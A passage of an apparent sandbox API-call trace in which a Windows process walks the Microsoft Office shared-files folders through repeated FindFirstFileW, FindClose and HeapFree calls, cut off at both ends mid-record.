ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.649] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.649] GetProcessHeap () returned 0x730000 [0055.649] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0055.650] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0055.650] GetProcessHeap () returned 0x730000 [0055.650] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.651] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.651] GetProcessHeap () returned 0x730000 [0055.651] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.653] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.653] GetProcessHeap () returned 0x730000 [0055.653] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.654] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.654] GetProcessHeap () returned 0x730000 [0055.654] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.655] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.655] GetProcessHeap () returned 0x730000 [0055.655] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.656] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.656] GetProcessHeap () returned 0x730000 [0055.656] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.657] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.657] GetProcessHeap () returned 0x730000 [0055.657] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.658] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.658] GetProcessHeap () returned 0x730000 [0055.658] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.662] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.662] GetProcessHeap () returned 0x730000 [0055.663] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.665] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.665] GetProcessHeap () returned 0x730000 [0055.665] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.665] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.667] GetProcessHeap () returned 0x730000 [0055.667] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.668] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.669] GetProcessHeap () returned 0x730000 [0055.669] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.669] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0055.669] GetProcessHeap () returned 0x730000 [0055.669] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0055.669] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.669] GetProcessHeap () returned 0x730000 [0055.669] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0055.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.670] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.671] GetProcessHeap () returned 0x730000 [0055.671] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0055.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.673] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.673] GetProcessHeap () returned 0x730000 [0055.673] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0055.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0055.677] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0055.677] GetProcessHeap () returned 0x730000 [0055.677] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0055.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0055.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.678] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.678] GetProcessHeap () returned 0x730000 [0055.678] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f068d0 | out: hHeap=0x730000) returned 1 [0055.678] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0055.678] GetProcessHeap () returned 0x730000 [0055.678] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0055.678] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.678] GetProcessHeap () returned 0x730000 [0055.679] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0055.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.680] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.680] GetProcessHeap () returned 0x730000 [0055.680] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0055.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0056.040] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0056.052] GetProcessHeap () returned 0x730000 [0056.052] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0056.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0056.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0056.053] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0056.053] GetProcessHeap () returned 0x730000 [0056.053] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0056.053] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0056.053] GetProcessHeap () returned 0x730000 [0056.053] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0056.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0056.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0056.526] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0056.527] GetProcessHeap () returned 0x730000 [0056.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0056.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0058.154] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0058.154] GetProcessHeap () returned 0x730000 [0058.154] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0058.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0058.606] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0058.606] GetProcessHeap () returned 0x730000 [0058.606] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0058.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0058.782] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0058.801] GetProcessHeap () returned 0x730000 [0058.801] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0058.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0058.808] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0058.808] GetProcessHeap () returned 0x730000 [0058.808] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0058.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0059.350] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0059.350] GetProcessHeap () returned 0x730000 [0059.350] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0059.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, 